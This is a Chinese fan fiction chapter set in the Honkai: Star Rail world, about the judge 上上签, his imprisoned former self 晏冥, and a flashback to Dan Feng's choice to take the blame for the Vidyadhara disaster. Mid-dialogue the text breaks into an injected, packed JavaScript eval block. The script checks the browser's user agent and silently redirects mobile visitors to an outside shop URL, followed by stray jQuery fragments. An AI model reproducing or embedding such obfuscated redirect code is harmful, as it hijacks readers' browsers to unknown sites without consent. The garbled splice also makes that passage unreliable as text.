上上签从因果殿出来后去了幽囚狱。
在幽囚狱的角落里他找到了点点冰的碎片——那是前剑首镜流的剑意。
他捡起几块碎冰,那寒气竟蔓上他的手指,结出片片霜花。
虽然生前接触不多,但上上签依然相信星核不是镜流一行人带入罗浮的。
卜者,数往者顺,知来者逆,见微知著。受十王恩惠,他能做到如太卜司的穷观阵一般,比如知果推因。
幽囚狱的争端在他脑海中回溯,一股决绝的寒冷剑气切入识海,但却在斩落敌人的前一秒停下了。
果然,镜流收手了。
上上签伸手推算她的所思所想,最后一艘亮着灵火,充满鬼气的仙舟出现在眼前——仙舟·虚陵。
他对星神之间的争斗没兴趣,但景元是令使,而仙舟更是与岚牵扯甚多……
他思索着,向幽囚狱深处走去,一重重门打开最后联通到一个谁也不知道的角落。
这个角落的罪人被一条条深黑色的铁链束缚,他的血肉中有许多长寿的植物扎了根,不知是植物吊住了他的命,还是他被植物汲取了生命。
残伤、垢染、嗔恚、他化、无记……上上签似乎是在怜悯眼前堕入魔阴的人,手轻轻拂过这人的头。
应该是似有所感,那人动了起来,努力地抬起头,铁链被拉直,把他的脖子切了一半,露出布满根须的食道和声道。
很难说这是不是人。
而这是他的前身。
‘晏冥’最开始被丹枫识破身份,接着又被十王又点破身份。
但他还是没完全从未知变为已知,所以‘晏冥’还存在。
虽然十王已承诺不会再调查‘晏冥’所用的事实,‘晏冥’可以继续在罗浮生活,但他还是让‘晏冥’坠入魔阴。
而他又基于‘晏冥’的概念,用十王赐下的偃偶创造了判官上上签。
只要‘晏冥’存在,上上签就会一直存在。
上上签将人连带着他身上的锁链一起抱起,走出了牢房——自从他发现曾有人偷偷溜进来过,他便开始定期给晏冥更换牢房。
晏冥睁开眼,抬头看向上上签,目光清澈,仿佛还存有神智,上上签把他放进新牢房,锁好,又面无表情地伸手盖上了他的眼。
你只可看,不可求,不可忆。你需在这暗无天地的牢房里直至终末的到来。
——
藿藿被浮烟骗去了流云渡,但好在星一行人营救及时,藿藿平安无事,尾巴也回来了。
“所以果然是浮烟骗我,说什么上上签大人故意让我们深入险境,好让他与尾巴鹬蚌相争……”
尾巴十分不走心地说:“浮烟的话也不全错。”
一行人全都看向它。
星看了一眼藿藿的表情,问:“什么意思?”
“他到不至于想消灭我,这家伙没这么多管闲事,但故意没使全力八成是真的”,尾巴说,“那家伙是那群老东西的……也就是十王的使者,如果他都奈何不了浮烟,就该那群老东西出手了。”
藿藿睁大了眼睛:“是、是这样的吗?原来前辈这么厉害。”
桂乃芬挠挠头,忽然一拍手,懂了:“是不是就像话本里说的那样,这种人不出手是为了给后辈更多历练的机会,结果没想到尾巴大爷牺牲了自己。”
尾巴冷哼一声,嘲笑她的天真:“牺牲算不上,那家伙也不会为了锻炼新人而壮大敌人,我猜啊,他一定是算到什么了,所以才放任浮烟。”
星很快抓到关键词:“算?”
“据传言,上上签大人生前是一名才华横溢的韬略士,他甚至能推算星神的行迹”,见尾巴不再言语,寒鸦接过话茬。
这不算十王司的机密,或者说上上签很热衷与其他人分享自己的过去,连十王司远派到绥园的武弁判官平均每人都能说出三四个版本的上上签身世。
寒鸦叹了口气,选了最合理的一个版本讲与好奇的众人听:“但后来他家中遭遇巨变,便动了歪心思,把占卜到的帝弓行迹卖给公司,触犯了十恶之一的窃取机要,后来他自愿放弃肉身,以偃偶的形态为十王工作。”
“哼,谁知道他到底是什么人。”尾巴忽然来了一句。
藿藿解释道:“前辈他……很喜欢讲故事。”
好吧,众人懂了,这是一个不知真伪的身世。
不过,与上上签同在问字部的寒鸦还是解释了一句:“但是上上签大人的卜算确实无人能敌,我个人感觉已经达到通晓诸事因果的地步,说他是先知也不为过。”
正说着,她的手机忽然响了,是几天前就开始失联的“先知”回了消息。
今日大吉
[在世上每多活一秒,就多一个想死的理由]
今日大吉:事情我知道了,藿藿没事就行,处理完浮烟的事让她来偃息馆长廊找我。
回了寒鸦的消息,上上签放下玉兆,靠在阑干上向建木的方向望去。
鳞渊境也在那里。
持明,这个最该选择丰饶的种族却在龙尊的带领下走上了巡猎。
也难怪每一任龙尊都会陷入龙狂——与自己所行的道路相悖,能不疯吗?
当初晏冥也问过丹枫:“众叛亲离,值得吗?”
丹枫说,他已经想不出更好的办法了,所以就让所有人来怨他一个人吧。
他现在已经想不起来为什么当初要帮丹枫,明明他知道未来的走向,但当时就是觉得好像确确实实只有那一个办法了。
他果然被丹枫洗脑了。
鬼知道当初他看见鳞渊境里那颗人造持明卵时,心里有多惊悚,以至于后面驱使他和那个持明对线的全是身为卧底的职业素养。
“为何会像白珩?”他应当是面无表情问出这句话。
“自然是是其中有那名叫白珩飞行士的血肉,大人有所不知,创造出来的持明可以任何人,无论是剑首镜流,或者她的徒弟景元,只需要一点点那人的血肉。”带他来这里的持明难掩语气中的癫狂与喜悦。
“为何要像这些在世上本就存在的人?”晏冥止住心中的恶心问。
“自是因为这都是龙尊的好友”,那个持明的声音充满感叹,“倏忽进犯,多少人的生命就此逝去,龙尊他真的忍心对故友的血脉动手吗?还不是需要……”
后面的话他已经听不清了,只觉得好笑,丹枫心中的情谊竟被这些人当作可利用的工具。
也是,在很多龙师甚至普通持明眼里,丹枫的自我是最微不足道的东西,更别提丹枫的朋友。
好在丹枫和他们不是一伙儿的,这让晏冥舒了一口气。
他不知道持明内部经历了怎样的腥风血雨,只是听说,丹枫忽然指认一个还未诞生的持明为下一任龙尊。
当他第二次去看那枚持明卵时,丹枫正站在那颗卵旁,垂眸静静地看着里面未长成的持明。
他见晏冥来了对他点点头,说:“这次多谢你了。”
晏冥问他:“真的不毁去它吗?”
丹枫:“我准备让它活下来,但是你放心,我会将制造持明的方法毁去,至少……至少现在这种方法不能传出去。”
虽然早有预料,但晏冥还是没忍住问:“你觉得她是白珩?”
丹枫明显愣住了,许久他才说:“不,我不会这么看它,虽然我对白珩有愧……我留下它,只是因为它已经是可以蜕生的持明,虽然有先天不足之症,但我想尝试一种可能。”
晏冥想到未来的饮月之乱,有所明悟:“你想在它身上用化龙妙法?这样龙尊的传承便不会永远只在你这一脉。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658561|144023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是”,丹枫看着这个已经拥有生命的持明,目含愧疚却充满期待,“我会一点点把龙尊的力量转移到它身上,等它出世我会教导它,我会是它的长辈、老师甚至朋友。”
“好吧”,晏冥拢了拢衣袖,“你自己有分寸便好。”
没听到反对,丹枫的心情好了一些:“创造持明的实验怕是从我破壳蜕生之前便开始了,他们的成果绝不可能只有这一个,可能还需要你帮忙,有劳了。”
“知道就好”,晏冥叹了口气。
只是他也没想到,这“成果”能这么大——凭空冒出来的孽龙毁了大半个鳞渊境。
他混进鳞渊境,看见镜流一剑砍下孽龙,而孽龙倒下后竟慢慢化成那名神似白珩的持明。
这是怎么回事?那个持明应该在丹枫的监管之下啊?
晏冥是在混乱中找到丹枫的,那时应星和一个持明倒在地上,丹枫正从应星身上拔下一片片银杏叶。
晏冥:“怎么回事?”
丹枫:“龙师的人混进来了,他们应该已经知道化龙妙法的事了。应星是……倏忽的血肉泵进了他的伤口。”
晏冥:“避重就轻!不,这也不轻,龙师是你……”他的话卡在喉咙里说不出来。
倏忽的血肉是怎么跑到这里来的?何况他不认为丹枫会不知道那些龙师的动向。
说实话,这有亿点不妙,但事到如今,他没时间指责他的姑息纵容。
晏冥语速飞快,向他交代现状:“你的亲卫队和龙师云骑起了冲突”。
他按下心中的慌乱,加重语气:“接下来,龙尊与龙师、持明与仙舟的矛盾要全面爆发了。”
“那就让他们不爆发。”
“什么意思?”
丹枫又一次拔掉了从应星皮肉里长出的叶子,像是才感到疼,应星他迷迷糊糊睁开已经变成红色的眼睛。
他一头白发已变得乌黑,身上的银杏叶不再生长。
丹枫见状,直起身,冷静向晏冥讲述他的打算:“外忧不断,内乱不应该在此时发生,这场动乱的起因绝对不能是持明族,但可以是一个位高权重的个体,我需要虚构史学家的帮助。”
晏冥瞬间了然他的意思:他是想把这所有的过错自己背负,这样触犯禁忌的只是龙尊,而不是持明族。
“你还知道你位高权重……不对,我还是第一次见主动求一个错误的历史的”,晏冥感觉自己话都说不清了。
而那厮竟然还笑:“那是你见识少”。
晏冥想,景元真他妈是个预言家,怎么真成苦大仇深的戏码了?
他又想,丹枫怎么不哭啊,他不哭我都要哭了。
丹枫说,“不要牵扯其他人,你只需把龙师的所为暂时掩盖,别让他们与丰饶勾结的事现在暴露出来。”
“可是龙师……”
“别怕,持明经此一事,短期内不会再与丰饶合作,更何况龙师的破绽太多了,他们成不了气候……而且,我确确实实做错了,不是吗?”
晏冥想狠狠批评他一顿,也想说自己不怕,但是就是忍不住身体打颤。
丹枫……丹枫给了他一个拥抱。
“没关系,一切有我,诸般后果,我来背负。”
这个故事应该是怎样的呢?
罪人丹枫,拥贼犯禁,贪取不死,造作兵祸,人神同嫉,天地不容,理当大辟,以定欃枪。
丹枫说,不要让大家发现,虚构史学家的事不好解释,你们要好好的。
丹枫说,不用纠结虚假与真实,就如你说的这是最不重要的。
丹枫说,你还小,和景元一起好好长大吧。
最后他说,谢谢。
上上签闭上了眼,五葬神像泡在鳞渊境的海水里,苦涩寒冷。
他想,他真的恨死丹枫了。